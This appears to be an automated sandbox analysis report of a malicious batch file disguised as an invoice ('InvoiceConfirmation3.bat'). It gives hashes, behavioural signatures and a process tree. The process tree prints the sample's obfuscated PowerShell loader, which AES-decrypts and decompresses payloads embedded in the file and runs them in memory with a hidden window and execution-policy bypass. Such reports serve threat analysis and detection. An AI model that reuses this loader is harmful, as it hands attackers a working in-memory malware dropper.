Overview
overview
10Static
static
1INVOICE07.bat
windows7-x64
8INVOICE07.bat
windows10-2004-x64
10INVOICE07.bat
windows7-x64
8INVOICE07.bat
windows10-2004-x64
10InvoiceCon...n3.bat
windows7-x64
8InvoiceCon...n3.bat
windows10-2004-x64
10InvoiceCon...n3.bat
windows7-x64
8InvoiceCon...n3.bat
windows10-2004-x64
10Analysis
- max time kernel
117s - max time network
123s - platform
windows7_x64 - resource
win7-20240419-en - resource tags
arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system - submitted
03/06/2024, 16:34
Static task
static1
Behavioral task
behavioral1
Sample
INVOICE07.bat
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
INVOICE07.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
INVOICE07.bat
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
INVOICE07.bat
Resource
win10v2004-20240426-en
Behavioral task
behavioral5
Sample
InvoiceConfirmation3.bat
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
InvoiceConfirmation3.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral7
Sample
InvoiceConfirmation3.bat
Resource
win7-20240419-en
General
- Target InvoiceConfirmation3.bat
- Size 540KB
- Sample240603-t3btcsdf78
- SHA256 18ff8049e5eac05d3f1bf7d414664845edd76f5393630aa463566476e45b9985
- MD5 af29b01f9517f84f7d1794a3c5a987d5
- SHA1 17f8776ea38c0eb07915cf1ab4e52a2c87ec70cd
- SHA512 29afff43ff59985eb4d65463cf7b8eaa6a82ae508cce66222707cab084d25bed77a45b7f85ec13e91545827f76bde014794b7ccf77f0df44b815df6b8d76953d
- SSDEEP 12288:2Nu+DeVdU51H++iCBdiQslfVMLOzcU+MEJXMHwXUIXkZsCSbluwG9XJec8SmC:t+aVK51HzBdeqLOIM8XfUXFYk7
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2424 powershell.exe - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2424 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2424 powershell.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 1752 wrote to memory of 2464 1752 cmd.exe 29 PID 1752 wrote to memory of 2464 1752 cmd.exe 29 PID 1752 wrote to memory of 2464 1752 cmd.exe 29 PID 1752 wrote to memory of 2448 1752 cmd.exe 30 PID 1752 wrote to memory of 2448 1752 cmd.exe 30 PID 1752 wrote to memory of 2448 1752 cmd.exe 30 PID 1752 wrote to memory of 2424 1752 cmd.exe 31 PID 1752 wrote to memory of 2424 1752 cmd.exe 31 PID 1752 wrote to memory of 2424 1752 cmd.exe 31
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\InvoiceConfirmation3.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵PID:2464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wSf4SfWusxtAoXnZPWK7HVx3v2wBNCa20+NeGFjqXZU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0aLcTPofevxAgYIfoL8llg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Qsygn=New-Object System.IO.MemoryStream(,$param_var); $VECRT=New-Object System.IO.MemoryStream; $UXUkR=New-Object System.IO.Compression.GZipStream($Qsygn, [IO.Compression.CompressionMode]::Decompress); $UXUkR.CopyTo($VECRT); $UXUkR.Dispose(); $Qsygn.Dispose(); $VECRT.Dispose(); $VECRT.ToArray();}function execute_function($param_var,$param2_var){ $bGuEF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IjeaD=$bGuEF.EntryPoint; $IjeaD.Invoke($null, $param2_var);}$QcPvT = 'C:\Users\Admin\AppData\Local\Temp\InvoiceConfirmation3.bat';$host.UI.RawUI.WindowTitle = $QcPvT;$IZHJg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($QcPvT).Split([Environment]::NewLine);foreach ($obaKw in $IZHJg) { if ($obaKw.StartsWith('WMpdAaneLcTpTiRReCou')) { $wlgPh=$obaKw.Substring(20); break; }}$payloads_var=[string[]]$wlgPh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵PID:2448
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2424
-